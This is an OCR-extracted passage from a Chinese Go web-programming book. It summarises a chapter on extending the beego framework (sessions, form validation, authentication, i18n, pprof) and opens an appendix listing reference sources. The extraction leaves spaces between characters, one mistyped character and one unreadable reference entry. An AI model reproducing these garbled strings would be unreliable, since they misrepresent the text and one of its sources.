这 一 章 主要 疮 述 了 如 何 基 于 beego 框 架 进 行 扩 展 ， 这 包括 静态 文件 的 支持 ， 静 态 文 
件 主 要 讲述 了 如 何 利 用 beego 进 行 快速 的 网 站 开发 ， 利 用 bootstrap 搭 建 漂亮 的 站 
点 ; 第 二 小 结 讲解 了 如 何在 beego 中 集成 sessionManager， 方便 用 户 在 利用 beego 
的 时 候 快 速 的 使 用 session ; 第 三 小 结 介绍 了 表单 和 验证 ， 基 于 Go 语言 的 struct 的 定 
义 使 得 我 们 在 开发 Web 的 过 程 中 从 重复 的 工作 中 解放 出 来 ， 而 且 加 入 了 验证 之 后 可 
以 尽量 做 到 数据 安全 ， 第 四 小 结 介绍 了 用 户 认 证 ， 用 户 认 证 主要 有 三 方面 的 需求 ， 
http basic 和 http digest 认 证 ， 第 三 方 认证 ， 自 定义 认证 ， 通 过 代码 演示 了 如 何 利用 
现 有 的 第 三 方 包 集成 到 beego 应 用 中 来 实现 这 些 认 证 ; 第 五 小 节 介 绍 了 多 语言 的 支 
持 ，beego 中 集成 了 go-i18n 这 个 多 语言 包 ， 用 户 可 以 很 方便 的 利用 该 库 开 发 多 语言 
的 Web 应 用 ; 第 六 小 节 介绍 了 如 何 集成 Go 的 pprof 包 ，pprof 包 是 用 于 性 能 调试 的 工 
具 ， 通 过 对 beego 的 改造 之 后 集成 了 pprof 包 ， 使 得 用 户 可 以 利用 pprof 测 试 基 于 
beego 开 发 的 应 用 ， 通 过 这 六 个 小 节 的 介绍 我 们 扩展 出 来 了 一 个 比较 强壮 的 beego 
框架 ， 这 个 框架 足以 应 付 目前 大 多 数 的 Web 上 应用， 用户 可 以 继续 发 挥 自己 的 想象 力 
去 扩展 ， 我 这 里 只 是 简单 的 介绍 了 我 能 想 的 到 的 几 个 比较 重要 的 扩展 。 


links 


e 目录 
e 上 一 节 : pprof 支 持 


附录 A 参考 资料 


这 本 书 的 内 容 基本 上 是 我 学 习 Go 过 程 以 及 以 前 从 事 Web 开 发 过 程 中 的 一 些 经 验 总 
结 ， 里 面部 分 内 容 参考 了 很 多 站 点 的 内 容 ， 感 谢 这 些 站 点 的 内 容 让 我 能 够 总 结 出 来 
这 本 书 ， 参 考 资料 如 下 : 


1. golang blog 

2. Russ Cox blog 

3. go book 

4. golangtutorials 

5. 44 ikAde7s¢S) 8 

6. Go 官网 文档 

7. Network programming with Go 

8. setup-the-rails-application-for-internationalization 
9. The Cross-Site Scripting (XSS) FAQ 
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10. Network programming with Go 


